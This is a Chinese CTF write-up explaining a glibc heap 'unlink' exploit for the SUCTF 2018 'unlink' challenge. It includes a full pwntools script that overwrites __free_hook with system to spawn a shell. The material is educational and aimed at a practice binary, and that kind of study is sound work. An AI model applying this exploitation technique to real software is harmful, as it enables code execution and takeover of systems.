【pwn】[SUCTF 2018 招新赛]unlink --堆利用之unlink

发布时间:2024年01月18日

先来看一下程序的保护情况

堆栈不可执行,而且还开了canary

看一下ida

又是经典菜单题,接着分析每一个函数功能就行

touch函数:有一个数组存malloc出来的地址

delete函数:删除堆中的数据,不存在uaf漏洞

show函数:打印堆中数据

take_note函数:向堆中写数据

分析到这里,根据题目的提示,那就用unlink来打,这里有篇博客可以先学习一下:【pwn学习】堆溢出(三)- Unlink和UAF_堆溢出 got表-CSDN博客

首先我们先创建三个堆块

debug看一下

再看看一下存堆地址的数组

接着我们来构造一个fake_chunk

首先我们来一步步看这个过程,我们payload是向第一个堆中写入数据,但是却溢出到了第二个堆中的数据,将第二个堆中的prevsize和size改了

图中第二个框就是第二个堆,可以看到presize和size已经被修改,之所以为什么这么改0x20,是因为是第二个堆地址-0x20确定第一个堆的地址,0x90是为了表示第一个堆已经被free了,触发unlink

,当我们delete(1)时就会将第一个chunk解链,这个过程就是要利用第一个堆的fd和bk指针,这个过程就是fd->bk=bk,bk->fd=fd,其实就是一个双向链表解链操作

我们来看这一步bk->fd=fd,我们知道前面的bk是buf-0x10,所以解链时我们就会到0x6020b中,找到bk_fd指针位置(其实就是距离0x6020b+0x10)的位置,将0x6020c0此处的地址复制成fd(这个fd是我们fakechunk中的fd,即0x6020a8),debug看一下

那这样有什么用呢?首先确定一点,这个地址的值已经被我们控制了,那就可以通过puts函数,将puts函数的地址打印出来,泄露出libc基址,然后将free的plt表修改成system函数,即可达到getshell目的

先来看一下exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=process("./pwn")

elf=ELF("./pwn")

#io=remote("node4.anna.nssctf.cn",28319)

def debug():

? ? gdb.attach(io)

? ? pause()

def touch(size):

? ? io.recvuntil(b"please chooice :\n")

? ? io.sendline(str(1))

? ? io.recvuntil(b"please input the size : \n")

? ? io.sendline(str(size))

def delete(index):

? ? io.recvuntil(b"please chooice :\n")

? ? io.sendline(str(2))

? ? io.recvuntil(b"which node do you want to delete\n")

? ? io.sendline(str(index))

def show(index):

? ? io.recvuntil(b"please chooice :\n")

? ? io.sendline(str(3))

? ? io.recvuntil(b"want to show")

? ? io.sendline(str(index))

? ? io.recvuntil(b'is : ')

def take_note(index,content):

? ? io.sendlineafter(b'chooice :\n',b'4')

? ? io.sendlineafter(b'modify :\n',str(index).encode())

? ? io.sendafter(b'content\n',content)

touch(0x20)

touch(0x80)

touch(0x100) ? ?

#debug()

buf=0x6020c0

#fake_chunk

prev_size=p64(0)

chunk_size=p64(0x20)

fd=buf-0x18

bk=buf-0x10

content=p64(fd)+p64(bk)

of_prev_size=p64(0x20) ?

of_chunk_size=p64(0x90)

payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size

take_note(0,payload)

delete(1)

debug()

payload=p64(0)*3+p64(0x6020c8)? ??

take_note(0,payload)? ? ? ? ? ? ?#这里其实是在向0x6020a8中写入数据了

payload=p64(elf.got['puts'])? ? ?

take_note(0,payload)? ? ? ? ? ??#这里是在向0x6020c8中写入数据

show(1)? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#打印0x6020c8中的数据

puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')??

print(hex(puts_addr))

libc=ELF("./libc-2.23.so")

libc_base=puts_addr-libc.sym['puts']

free_hook=libc_base+libc.sym['__free_hook']

bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=p64(free_hook)+p64(bin_sh_str)

take_note(0,payload)

system=libc_base+libc.sym['system']

take_note(1,p64(system))

delete(2)

io.interactive()

文章来源:https://blog.csdn.net/question55/article/details/135674766
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。